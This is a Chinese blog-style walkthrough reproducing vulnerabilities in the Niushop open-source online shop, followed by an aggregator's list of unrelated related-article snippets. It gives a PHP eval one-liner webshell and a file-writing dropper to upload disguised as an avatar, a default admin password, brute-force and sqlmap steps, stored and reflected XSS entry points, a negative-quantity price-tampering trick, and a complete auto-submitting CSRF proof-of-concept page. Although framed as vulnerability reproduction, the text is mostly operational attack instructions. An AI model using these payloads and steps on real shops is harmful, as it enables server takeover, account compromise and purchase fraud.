Niushop开源商城(漏洞复现)

news/2024/12/28 17:11:55/

文件上传漏洞

注册一个账号后登录

在个人中心修改个人头像

选择我们的图片马

#一句话(不想麻烦的选择一句话也可以)
<?php @eval($_POST["cmd"]);?>
#生成h.php文件
<?php 
fputs(fopen('h.php','w'),'<?php @eval($_POST["cmd"]);?>'); 
?>

在BP中进行抓包,改为1.php

右键图片在网页新建打开图片标签;就能获取路径

去蚁剑连接生成的.php就行

弱口令

使用BP抓包

在用户名和密码位添加payload

payload设置;选择我们的字典

开始攻击

得出用户名密码

#用户名
admin
#密码
admin1

成功登录

SQL注入漏洞

基于布尔时间盲注

第一个存在点

使用sqlmap跑一下

第二个存在点

二次外带注入

XSS漏洞

存储型

1.后台-->设置-->基础设置-->商城第三方统计代码

来到首页就会弹窗

2.后台-->网站--->广告位

反射型

1.后台--微信--消息管理素材管理-->添加消息存储-->标题

0元购

在商品页面抓包

通过改变数量改变价格

在放行一次修改数量为-1

后面全部放行就OK了

CSRF漏洞

下载源码;制作修改用户信息链接

修改用户信息

BP抓包;制作SCRF

复制下来制作链接

<html>

<!-- CSRF PoC - generated by Burp Suite Professional -->

<body>

<form action="http://172.16.1.195/niushop/index.php?s=/member/person" method="POST" enctype="multipart/form-data">

<input type="hidden" name="user&#95;name" value="bbbcdff" />

<input type="hidden" name="real&#95;name" value="11wsdasa" />

<input type="hidden" name="birthday" value="1970&#45;01&#45;01" />

<input type="hidden" name="location" value="&apos;onclick&#61;&apos;alert&#40;1&#41;&apos;" />

<input type="hidden" name="user&#95;qq" value="2461" />

<input type="hidden" name="act" value="act&#95;edit&#95;profile" />

<input type="hidden" name="submit" value="ç&#161;&#174;è&#174;&#164;ä&#191;&#174;æ&#148;&#185;å&#159;ºæ&#156;&#172;ä&#191;&#161;æ&#129;&#175;" />

<input type="submit" value="Submit request" />

</form>

<script>

history.pushState('', '', '/');

document.forms[0].submit();

</script>

</body>

</html>

用户在已登录的状态点击我们的链接


http://www.ppmy.cn/news/1558842.html

相关文章

流架构的读书笔记(2)

流架构的读书笔记&#xff08;2&#xff09; 一、建模工具之一沃德利地图 推测技术的发展,交流和辩论思想的最有力的方法是沃德利地图 沃德利地图的制作步骤 1确定范围和用户需求 2确定满足用户需求所需的组件 3在一条范围从全新到被人们接受的演进轴上评估这些组成 部分的演…

深度学习中的并行策略概述:1 单GPU优化

深度学习中的并行策略概述&#xff1a;1 单GPU优化 1 Training Larger Models on a Single GPU 在讨论模型的“扩展”时&#xff0c;往往会想到在多个GPU或多台机器上进行模型训练。不过&#xff0c;即便是在单个GPU上&#xff0c;也存在多种方法来训练更大规模的模型并提升…

LeetCode 343.整数拆分

1.题目要求: 2.题目代码: class Solution { public:int integerBreak(int n) {//先确定dp数组vector<int> dp;//1.确定dp数组的含义//2.确定dp的递推公式//3.初始化dp数组//4.遍历顺序dp.resize(n 1);dp[0] 0;dp[1] 0;dp[2] 1;for(int i 3;i < n;i){for(int j …

如何用WPS AI提高工作效率

对于每位职场人而言&#xff0c;与Word、Excel和PPT打交道几乎成为日常工作中不可或缺的一部分。在办公软件的选择上&#xff0c;国外以Office为代表&#xff0c;而在国内&#xff0c;WPS则是不可忽视的一大选择。当年一代天才程序员求伯君创造了WPS&#xff0c;后面雷军把它装…

工业大数据分析算法实战-day17

文章目录 day17概述基础算法过程稳定性监控 时空模式分析连续流程生产 day17 今天是第17天&#xff0c;昨日主要讲解了工业上算法分析的思路&#xff0c;主要包含了通用时序特征、典型征兆特征、工业上时序分析的问题&#xff0c;今日主要阐述生产质量数据分析算法-PQM 概述 …

论文分享—— 软件物料清单(SBOM)开源与专有工具的现状研究

论文来源&#xff1a;https://arxiv.org/abs/2402.11151 A Landscape Study of Open Source and Proprietary Tools for Software Bill of Materials (SBOM) 以下论文总结由豆包生成&#xff1a; 一、研究背景 现代软件应用依赖众多第三方组件&#xff0c;软件供应链安全面临…

【Flutter_Web】Flutter编译Web第三篇(网络请求篇):dio如何改造方法,变成web之后数据如何处理

前言 Flutter端在处理网络请求的时候&#xff0c;最常用的库当然是Dio了&#xff0c;那么在改造成web端的时候&#xff0c;最先处理的必然是网络请求&#xff0c;否则没有数据去处理驱动实图渲染。 官方链接 pub https://pub.dev/packages/diogithub https://github.com/c…

基于Oauth2的SSO单点登录---后端

【springbootvue项目&#xff08;十三&#xff09;】 Springboot整合Spring SecurityJWT 【springbootvue项目&#xff08;十四&#xff09;】基于Oauth2的SSO单点登录&#xff08;一&#xff09;整体流程介绍 【springbootvue项目&#xff08;十五&#xff09;】基于Oauth2的…